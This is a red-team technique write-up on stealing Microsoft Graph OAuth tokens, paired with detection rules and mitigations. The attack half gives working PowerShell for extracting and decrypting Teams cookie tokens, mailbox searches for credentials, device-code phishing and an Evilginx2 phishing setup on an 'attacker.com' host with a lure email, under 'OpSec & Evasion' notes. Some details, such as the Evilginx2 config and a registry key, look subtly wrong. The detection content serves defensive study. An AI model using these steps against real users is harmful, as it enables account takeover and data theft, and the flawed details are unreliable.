| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-004 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Tokens |
| Tactic | Credential Access |
| Platforms | M365 (Microsoft Teams, Outlook, SharePoint) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-10-26 |
| Affected Versions | Windows 10+, Office 365, Teams Desktop Client (all versions with token caching) |
| Patched In | N/A (inherent to OAuth 2.0 architecture) |
| Author | SERVTEP – Artur Pchelnikau |
Note: All section numbers have been dynamically renumbered based on applicability for this technique.
Concept: Microsoft Graph API token theft is a post-compromise attack where an attacker steals or intercepts OAuth 2.0 access tokens, enabling unauthorized interaction with Microsoft 365 services on behalf of a legitimate user. Tokens can be extracted through multiple vectors: local DPAPI-encrypted cookie theft from Teams/Office applications, interception of device code authentication flows, browser-based MITM attacks, or refresh token abuse. Once obtained, tokens grant full delegated access to Microsoft Graph API endpoints (mail, chats, SharePoint, OneDrive), bypassing MFA and lasting the full token lifetime (typically 1 hour for access tokens, days/weeks for refresh tokens).
Attack Surface: Microsoft Teams Cookies database, browser authentication flows, OAuth token endpoints (login.microsoftonline.com), msedgewebview2.exe embedded browser process, memory of authenticated applications.
Business Impact: Complete lateral movement within Microsoft 365 environment. Attackers can read all emails accessible to the compromised user, download sensitive documents from SharePoint/OneDrive, monitor Teams conversations, send phishing from the user’s email account, and pivot to other accounts by searching for credentials in messages. No user interaction is required after token theft, and detection is difficult as activities appear to originate from a trusted user account.
Technical Context: Token theft is stealthy and requires only local access (via prior compromise) or network position (for MITM attacks). Detection likelihood is LOW because the attacker uses legitimate, delegated API endpoints with valid tokens. However, high-volume API calls, unusual patterns (e.g., bulk mailbox searches for “password” or “admin”), and out-of-hours access can trigger anomalies. Reversibility is NONE—stolen tokens cannot be revoked individually by users, only by tenant-wide token revocation policies.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.3.5 | Ensure MFA is enabled for all users (bypassed by token theft post-authentication) |
| CIS Benchmark | 5.1.1.1 | Ensure that ‘Require device compliance’ is ‘Yes’ for all cloud apps (token theft occurs after compliance check) |
| DISA STIG | ID-000520 | Implement access controls and audit logging for API endpoints |
| CISA SCuBA | Conditional Access Policy | Enforce token protection (requiring Primary Refresh Token with device registration) |
| NIST 800-53 | AC-3 | Access Enforcement - API-level authorization cannot prevent stolen token use |
| NIST 800-53 | AU-2 | Audit Events - Comprehensive logging of API activity for anomaly detection |
| NIST 800-53 | SC-7 | Boundary Protection - API gateways and token validation |
| GDPR | Art. 32 | Security of Processing - Cryptographic measures for sensitive tokens; breach notification |
| DORA | Art. 9 | Protection and Prevention - Authentication and authorization mechanisms |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Multi-factor authentication and monitoring of privileged access |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - Token revocation and session management |
| ISO 27005 | Risk Scenario | “Compromise of Authentication Credentials” and “Unauthorized Access to APIs” |
Supported Versions:
Tools:
Objective: Identify if Graph API token caching is enabled and assess potential token exposure vectors.
# Check if Teams application is installed and accessible
Test-Path "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe"
# Verify if Teams process is running (important: must be killed to access Cookies database)
Get-Process -Name ms-teams -ErrorAction SilentlyContinue | Select-Object ProcessName, Id
# Check if DPAPI can be invoked (required for Teams token decryption)
Try {
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
Write-Host "DPAPI access available"
} Catch {
Write-Host "DPAPI access denied"
}
# Check for OAuth token locations in browser profiles (Chrome, Edge, Firefox)
$EdgePath = "$env:APPDATA\Local\Microsoft\Edge\User Data\Default"
$ChromePath = "$env:APPDATA\Local\Google\Chrome\User Data\Default"
Test-Path "$EdgePath\Cookies"
Test-Path "$ChromePath\Cookies"
What to Look For:
Version Note: Across Windows 10, 11, and Server versions, the Teams path and token encryption mechanism remain consistent.
# Check for Teams token cache in Linux Teams (if installed)
find ~/.config/Microsoft/Teams -name "Cookies*" 2>/dev/null
# Enumerate Kerberos token cache (if using Kerberos for cross-platform auth)
klist 2>/dev/null
# Check for browser token storage in Firefox/Chromium
ls -la ~/.mozilla/firefox/*/storage/default/
ls -la ~/.config/google-chrome/Default/Cookies 2>/dev/null
# Check for Azure CLI token cache (alternative access vector)
cat ~/.azure/tokenCache.json 2>/dev/null | head -c 100
What to Look For:
Supported Versions: Windows 10, 11, Server 2019-2025 with Teams 1.3+.
Objective: Gain file access to Teams Cookies database; Teams process must be terminated as it locks the SQLite database.
Command (All Versions):
# Kill Teams process to release Cookies database lock
Stop-Process -Name ms-teams -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
# Verify process is terminated
Get-Process -Name ms-teams -ErrorAction SilentlyContinue
Expected Output:
# No output if process successfully terminated
# If process persists, loop returns running instances
What This Means:
OpSec & Evasion:
-Force flag to avoid user prompts that could alert the user.Troubleshooting:
powershell -Verb RunAs to elevate, then retry.Objective: Copy the encrypted Cookies database to an accessible location for decryption.
Command:
# Define paths
$TeamsPath = "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView"
$CookiesSource = "$TeamsPath\Cookies"
$CookiesDest = "C:\Windows\Temp\Teams_Cookies"
# Copy Cookies database
if (Test-Path $CookiesSource) {
Copy-Item -Path $CookiesSource -Destination $CookiesDest -Force -ErrorAction Stop
Write-Host "[+] Cookies database copied to $CookiesDest"
} else {
Write-Host "[-] Teams Cookies database not found at $TeamsPath"
}
# Also extract the encryption key from Local State JSON
$LocalStatePath = "$TeamsPath\Local State"
$LocalStateContent = Get-Content -Path $LocalStatePath | ConvertFrom-Json
$EncryptedKey = $LocalStateContent.os_crypt.encrypted_key
Write-Host "[+] Encrypted key extracted: $($EncryptedKey.Substring(0, 50))..."
Expected Output:
[+] Cookies database copied to C:\Windows\Temp\Teams_Cookies
[+] Encrypted key extracted: RFBBUEkxAAAA...
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-Process -Name ms-teams; kill remaining instances with higher privilege.Objective: Decrypt the DPAPI-protected master key using Windows DPAPI APIs (requires user context).
Command (PowerShell):
Add-Type -AssemblyName System.Security
$LocalStatePath = "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Local State"
$LocalStateJson = Get-Content -Path $LocalStatePath -Raw | ConvertFrom-Json
# Extract and base64-decode the encrypted key
$EncryptedKeyBase64 = $LocalStateJson.os_crypt.encrypted_key
$EncryptedKeyBytes = [Convert]::FromBase64String($EncryptedKeyBase64)
# Skip first 5 bytes (DPAPI prefix)
$EncryptedKeyOnly = $EncryptedKeyBytes[5..($EncryptedKeyBytes.Length - 1)]
# Decrypt using DPAPI
try {
$DecryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedKeyOnly, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[System.Convert]::ToBase64String($DecryptedKey) | Out-Host
Write-Host "[+] DPAPI key decrypted successfully (32 bytes for AES-256)"
} catch {
Write-Host "[-] DPAPI decryption failed: $_"
}
Expected Output:
[+] DPAPI key decrypted successfully (32 bytes for AES-256)
Kx3vL7pQ9mN2oR4sT6uV8wXyZaB5cD7eF9gH1jK3lM5nO7pQ9rS1tU3vW5xY7zA9
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Parse the SQLite Cookies database and decrypt individual cookie values using the decrypted AES-256 key.
Command (PowerShell with SQL parsing):
# Load SQLite module (may need installation: Install-Module -Name PSSQLite)
# Alternatively, use raw byte parsing if SQLite module unavailable
# Using GraphRunner teams_dump PoC (if available)
# This tool automates the extraction and decryption process
# Manual approach: Query SQLite Cookies table
$CookiesPath = "C:\Windows\Temp\Teams_Cookies"
# Parse Cookies table for Graph API tokens (host = 'teams.microsoft.com')
# Decryption requires AES-256-GCM with nonce (first 12 bytes of encrypted value)
# Tokens will appear in the decrypted cookies as:
# MUIDB, TSREGIONCOOKIE, or Bearer tokens for teams.microsoft.com
Write-Host "[+] Use teams_dump or GraphSpy to parse and decrypt Cookies"
Write-Host "[+] Tokens will be in format: eyJ0eXA..."
Expected Output:
[+] Extracted token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjAxZVRydW1B...
[+] Token scope: Chat.ReadWrite Mail.Read User.Read
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Leverage the extracted token to enumerate and exploit Microsoft Graph API.
Command:
# Import GraphRunner module
Import-Module .\GraphRunner.ps1
# Define token variable
$tokens = @{
"access_token" = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjAxZVRydW1B..."
"refresh_token" = "0.AVAAp4-4Zz4n7EuI_..."
"id_token" = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im..."
}
# Run Graph API reconnaissance
Invoke-GraphRunner -Tokens $tokens
# Alternative: Execute specific Graph API calls
Invoke-GraphRecon -Tokens $tokens
Get-AzureADUsers -Tokens $tokens
Invoke-SearchMailbox -Tokens $tokens -Keywords "password,admin,credential"
Invoke-SearchTeams -Tokens $tokens -Keywords "secret,key,token"
Expected Output:
[+] Connected to Microsoft Graph API
[+] Current User: user@contoso.com
[+] Available Scopes: Chat.ReadWrite, Mail.Read, User.Read
[+] Users enumerated: 245
[+] Mailbox items found: 1,234
[+] Teams messages with "password": 12
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Entra ID tenants, any OAuth 2.0 client using device code flow.
Objective: Start the device code authentication flow and wait for user to authenticate.
Command (PowerShell using GraphRunner):
# Import GraphRunner
Import-Module .\GraphRunner.ps1
# Get tokens using device code flow (this is built into GraphRunner)
$tokens = Get-GraphTokens -ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46" `
-Resource "https://graph.microsoft.com" `
-Device "Windows" `
-Browser "Chrome"
# The user will see a device code and be prompted to authenticate at https://microsoft.com/devicelogin
# Once authenticated, the attacker's polling loop receives the tokens
Expected Output:
[*] Please go to https://microsoft.com/devicelogin and enter code: ABC123DEF456
[*] Waiting for authentication...
[+] User authenticated!
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
[+] Refresh Token: 0.AVAAp4-4Zz4n7EuI_pRQ...
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Verify that obtained token has required scopes for the intended attack.
Command:
# Decode JWT to check scopes
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1..."
$parts = $token.Split('.')
$payload = [Convert]::FromBase64String($parts[1] + "==")
$claims = [System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json
# Check scopes
$claims.scp
# Expected output if user consented to full permissions:
# "Mail.Read Mail.ReadWrite Chat.ReadWrite Team.Read.All ..."
Expected Output:
scp: "Mail.Read Mail.ReadWrite Chat.ReadWrite Team.Read.All User.ReadWrite.All"
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Execute Graph API queries to extract sensitive information.
Command:
# Define token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1..."
# Create authorization header
$authHeader = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# Example 1: Search all emails for credentials
$searchQuery = @{
"requests" = @(
@{
"entityTypes" = @("message")
"query" = "subject:password OR body:admin OR body:secret OR body:API_KEY"
}
)
} | ConvertTo-Json
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/search/query" `
-Headers $authHeader `
-Method POST `
-Body $searchQuery -OutFile "C:\Temp\search_results.json"
# Example 2: Enumerate all users in tenant
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName,jobTitle,officeLocation" `
-Headers $authHeader `
-Method GET -OutFile "C:\Temp\users.json"
# Example 3: Download all OneDrive files
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" `
-Headers $authHeader `
-Method GET -OutFile "C:\Temp\onedrive_files.json"
Expected Output:
{
"value": [
{
"id": "AQMkADEzYjE1NjA1LWZiZTAtNGYyZS04MjAwLTA4Njg5NzJjNzhjZQBGAAADnmFPX7_AAAA==",
"subject": "URGENT: Database password - admin_user / P@ssw0rd2024!",
"from": "admin@contoso.com",
"bodyPreview": "Here is the production database password..."
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All OAuth 2.0 flows, browser-based authentication.
Objective: Deploy Evilginx2 phishing server to intercept OAuth authentication flow.
Command (on attacker VPS):
# Install Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
# Create phishing config for Microsoft OAuth
cat > config.yaml <<EOF
{
"name": "microsoft",
"auth_url": "https://login.microsoftonline.com/common/oauth2/v2.0/authorize",
"token_url": "https://login.microsoftonline.com/common/oauth2/v2.0/token",
"redirect_url": "https://evilginx.attacker.com/callback",
"scopes": ["https://graph.microsoft.com/.default"],
"username_field": "loginEmail",
"password_field": "passwd"
}
EOF
# Start Evilginx2 server
./evilginx2 -p config.yaml -l 0.0.0.0:443 -c /path/to/tls/cert.pem -k /path/to/tls/key.pem
Expected Output:
[*] Evilginx2 v2.3.0 started on 0.0.0.0:443
[+] Config loaded: microsoft
[+] Phishing page ready at: https://evilginx.attacker.com/login
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Convince users to visit the phishing URL.
Command (Email phishing example):
Subject: ACTION REQUIRED: Verify Your Microsoft Account Security
<p>Dear User,</p>
<p>For security reasons, we need you to verify your Microsoft account.
Please click the link below to confirm your identity:</p>
<a href="https://evilginx.attacker.com/login">Verify Account Now</a>
<p>If you do not complete this verification, your account access may be suspended.</p>
<p>Microsoft Security Team</p>
Expected Output:
User clicks link → Evilginx phishing page → User enters credentials → Evilginx captures auth → Forwards to Microsoft
→ Microsoft authenticates user → OAuth code returned to Evilginx → Evilginx exchanges code for tokens
→ Attacker now possesses access_token + refresh_token
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Retrieve captured tokens from Evilginx2 log files.
Command:
# Evilginx2 logs captured sessions
cat ~/.evilginx2/logs/session_log.txt
# Output:
# [2025-01-08 14:32:10] Session captured for user@contoso.com
# access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
# refresh_token: 0.AVAAp4-4Zz4n7EuI_pRQ...
# id_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im...
# Extract tokens
grep "access_token:" ~/.evilginx2/logs/session_log.txt > tokens.txt
Expected Output:
access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
refresh_token: 0.AVAAp4-4Zz4n7EuI_pRQ...
What This Means:
OpSec & Evasion:
Troubleshooting:
PoC Verification Command:
# Minimal PoC to verify token extraction and Graph API access
# This should only be executed in authorized test environments
# Step 1: Extract Teams cookies (requires Teams to be closed)
$TeamsPath = "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView"
if (Test-Path "$TeamsPath\Cookies") {
Write-Host "[+] Teams Cookies database found - extraction is possible"
} else {
Write-Host "[-] Teams not installed or Cookies database not found"
}
# Step 2: Verify Graph API endpoint accessibility
$GraphEndpoint = "https://graph.microsoft.com/v1.0/me"
Try {
Invoke-WebRequest -Uri $GraphEndpoint -ErrorAction Stop | Select-Object StatusCode
Write-Host "[+] Graph API endpoint accessible"
} Catch {
Write-Host "[-] Graph API not accessible: $($_.Exception.Message)"
}
Rule Configuration:
SPL Query:
index=azure_activity source=MicrosoftGraphActivityLogs RequestMethod=POST
RequestUriPath="/search/query"
| stats count, values(RequestUri), values(UserId) by UserId, TimeGenerated
| where count > 5
| eval time_diff=TimeGenerated
| delta time_diff p=1
| where delta < 600
| rename UserId as user_id, count as query_count
What This Detects:
Manual Configuration Steps:
search | stats count | where count > 5False Positive Analysis:
| where UserId != "eDiscovery_*".Rule Configuration:
SPL Query:
index=azure_activity source=MicrosoftGraphActivityLogs AppId="00000003-0000-0000-c000-000000000000"
| stats values(SourceIp), values(UserAgent) by UserId
| join UserId [search index=azure_activity source=MicrosoftGraphActivityLogs AppId="00000003-0000-0000-c000-000000000000"
earliest=-30d
| stats values(SourceIp) as historical_ips by UserId]
| eval is_new_ip=if(match(SourceIp, historical_ips), "no", "yes")
| search is_new_ip=yes
What This Detects:
Manual Configuration Steps:
False Positive Analysis:
Rule Configuration:
KQL Query:
MicrosoftGraphActivityLogs
| where RequestUriPath startswith "/search/query" and RequestMethod == "POST"
| extend RequestBody = parse_json(RequestBody)
| where RequestBody.requests[0].query contains "password"
or RequestBody.requests[0].query contains "admin"
or RequestBody.requests[0].query contains "secret"
or RequestBody.requests[0].query contains "API_KEY"
or RequestBody.requests[0].query contains "credential"
| summarize SearchCount=count(), SearchQueries=make_set(RequestBody.requests[0].query) by UserId, TimeGenerated
| where SearchCount > 3
| project TimeGenerated, UserId, SearchCount, SearchQueries
What This Detects:
Manual Configuration Steps (Azure Portal):
Graph API Credential Exfiltration via SearchHigh5 minutes10 minutesManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "SOC-RG"
$WorkspaceName = "Sentinel-Workspace"
$RuleQuery = @"
MicrosoftGraphActivityLogs
| where RequestUriPath startswith "/search/query" and RequestMethod == "POST"
| extend RequestBody = parse_json(RequestBody)
| where RequestBody.requests[0].query contains "password"
| summarize SearchCount=count() by UserId
| where SearchCount > 3
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "Graph API Credential Exfiltration" `
-Query $RuleQuery `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel GitHub - Graph API Threat Detection
Rule Configuration:
KQL Query:
DeviceProcessEvents
| where ProcessName has "mimikatz" or ProcessName has "procdump"
or ProcessName has "teams_dump"
or (CommandLine contains "DPAPI" and CommandLine contains "decrypt")
or (ProcessName has "powershell" and CommandLine contains "ProtectedData")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, ProcessName, CommandLine
| join kind=inner (
SecurityEvent
| where EventID == 4688
| project TimeGenerated, Computer, NewProcessName, ParentProcessName, CommandLine
) on Computer == DeviceName
What This Detects:
Manual Configuration Steps:
Potential Graph API Token Extraction AttemptCritical5 minutes15 minutesEvent IDs to Monitor:
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesauditpol /get /subcategory:"Process Creation" should return “Success and Failure”Manual Configuration Steps (Local Policy):
auditpol /set /subcategory:"File System" /success:enable /failure:enableicacls "C:\Users\*\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe" /grant "*S-1-5-21-*-512:(F)" /T
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2019-2025.
<!-- Detect DPAPI decryption attempts for Teams token extraction -->
<Sysmon schemaversion="4.1">
<EventFiltering>
<!-- Process Execution - Mimikatz or DPAPI-related PowerShell -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">
mimikatz
procdump
teams_dump
CryptoUnprotect
</CommandLine>
</ProcessCreate>
<!-- File Access to Teams Cookies -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">
MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies
</TargetFilename>
</FileCreate>
<!-- Network Connection to Graph API endpoints -->
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">
graph.microsoft.com
login.microsoftonline.com
</DestinationHostname>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Anomalous Microsoft Graph activity detected”
Alert Name: “Potential credential theft via DPAPI”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud Alert Reference
Search-UnifiedAuditLog -Operations "Search-MailboxContent","SearchMailbox" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-FreeText "password OR admin OR secret OR API_KEY" |
Export-Csv -Path "C:\AuditLog_GraphAPI.csv"
Manual Configuration Steps (Enable Unified Audit Log):
PowerShell Alternative:
Connect-ExchangeOnline -UserPrincipalName admin@contoso.com
Search-UnifiedAuditLog -StartDate "01/01/2025" -EndDate "01/31/2025" `
-Operations "Search-MailboxContent" `
-ResultSize 5000 | Select-Object UserIds, Operations, ResultIndex, AuditData |
Export-Csv -Path "C:\GraphAPI_Audit.csv"
1. Enable Token Protection (Primary Refresh Token - PRT with Device Bound Keys)
Token protection ensures tokens are bound to a specific device, making stolen tokens unusable on different systems.
Applies To Versions: Windows 10+, Server 2022+ with Entra ID
Manual Steps (Azure Portal):
Enforce Token Protection for Graph APIManual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
$policyDisplayName = "Enforce Token Protection for Graph API"
$policyDescription = "Require Primary Refresh Token binding to device"
$conditionalAccessPolicy = @{
displayName = $policyDisplayName
state = "enabledForReportingButNotEnforced"
conditions = @{
applications = @{
includeApplications = @("00000003-0000-0000-c000-000000000000") # Microsoft Graph
}
users = @{
includeUsers = @("All")
}
}
grantControls = @{
operator = "AND"
builtInControls = @(
"compliantDevice",
"approvedClientApp"
)
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $conditionalAccessPolicy
Validation Command (Verify Fix):
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Enforce Token Protection'" |
Select-Object DisplayName, State, CreatedDateTime
Expected Output (If Secure):
DisplayName State CreatedDateTime
------------------------------- ----------------------- ---------------
Enforce Token Protection for Graph API enabledForReportingButNotE... 1/8/2025 4:15 AM
2. Revoke Refresh Tokens Tenant-Wide (Break Existing Compromised Sessions)
Refresh token revocation forces all users to re-authenticate, invalidating stolen tokens.
Applies To Versions: All Entra ID tenants
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "User.ReadWrite.All"
# Get the compromised user
$user = Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'"
# Revoke all refresh tokens (force re-authentication)
Revoke-MgUserSignInSession -UserId $user.Id
Write-Host "[+] All refresh tokens revoked for $($user.UserPrincipalName)"
Validation Command:
# Verify that the user must re-authenticate on next access
Get-MgUserSignInActivity -UserId (Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'").Id |
Select-Object SignInDateTime, IsRisky
3. Disable Legacy OAuth Clients & Require Modern Authentication
Legacy OAuth clients (pre-2015 apps) do not support token protection or conditional access policies.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Get all legacy OAuth apps (created before 2015)
$legacyApps = Get-MgApplication -Filter "createdDateTime lt 2015-01-01T00:00:00Z"
foreach ($app in $legacyApps) {
Write-Host "Disabling legacy app: $($app.DisplayName)"
Update-MgApplication -ApplicationId $app.Id -AccountEnabled $false
}
4. Enable Microsoft Graph API Diagnostics & Auditing
Ensure all Graph API calls are logged for detection and forensics.
Manual Steps (Azure Portal):
Graph API Activity LoggingMicrosoftGraphActivityLogs and AzureADGraphActivityLogsManual Steps (PowerShell):
Connect-AzAccount
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName "SOC-RG" -Name "Sentinel-Workspace"
New-AzDiagnosticSetting -Name "Graph API Activity Logging" `
-ResourceId "/subscriptions/{subscriptionId}/providers/Microsoft.aadiam/diagnosticSettings" `
-WorkspaceId $workspace.ResourceId `
-Enabled $true `
-Categories "MicrosoftGraphActivityLogs","AzureADGraphActivityLogs"
5. Implement Least Privilege Access for Service Principals & App Registrations
Service principals and application registrations with Mail.Read.All or User.Read.All scopes are high-value targets.
Manual Steps:
6. Block Graph API Access from Non-Compliant or Untrusted IP Ranges
Restrict Graph API calls to known corporate IP ranges.
Manual Steps (Azure Portal):
Corporate IP Ranges7. Enable Teams Desktop Client Notification on Token Export Attempts
Configure Teams to alert users when tokens are being exported.
Manual Steps (PowerShell - Teams Admin):
# This is not directly configurable but can be mitigated with app-bound encryption
# Recommend using web-based Teams instead of desktop client to avoid DPAPI-encrypted token storage
Conditional Access Policies:
RBAC/ABAC Hardening:
Files:
C:\Users\*\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies (Teams token cache)C:\Windows\Temp\Teams_Cookies* (copied Cookies database)C:\Users\*\AppData\Roaming\AADInternals\* (AADInternals cache)Registry:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DCacheMinimumAgeSeconds (Teams token cache age)Network:
graph.microsoft.com:443 from non-standard ports or external proxieslogin.microsoftonline.com with unusual User-Agent strings (Evilginx2)Disk:
mimikatz, procdump, powershell with DPAPI commandsMemory:
Cloud:
/search/query)/users/*/mailFolders)/drive/items)/teams/*/messages)Entra ID Sign-In Logs:
Revoke-MgUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'").Id
wevtutil epl Security C:\Evidence\Security.evtx
Copy-Item "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies" -Destination "C:\Evidence\"
Connect-MgGraph
Get-MgAuditLogDirectoryAudit -Filter "category eq 'ApplicationManagement'" | Export-Csv "C:\Evidence\AuditLogs.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [CA-PHISH-002] Consent Grant OAuth Attacks | Attacker tricks user into granting OAuth permissions to malicious app |
| 2 | Credential Access | [CA-TOKEN-001] Hybrid AD Cloud Token Theft | Tokens stolen via Azure AD Connect misconfiguration |
| 3 | Current Step | [CA-TOKEN-004] | Graph API Token Theft (this technique) |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates new admin account or adds persistence to existing account |
| 5 | Impact | [CA-UNSC-003] SYSVOL GPP Credential Extraction | Attacker uses elevated Graph API access to enumerate more credentials |
| 6 | Exfiltration | [IA-PHISH-005] Internal Spearphishing Campaigns | Attacker sends phishing from compromised user to other employees |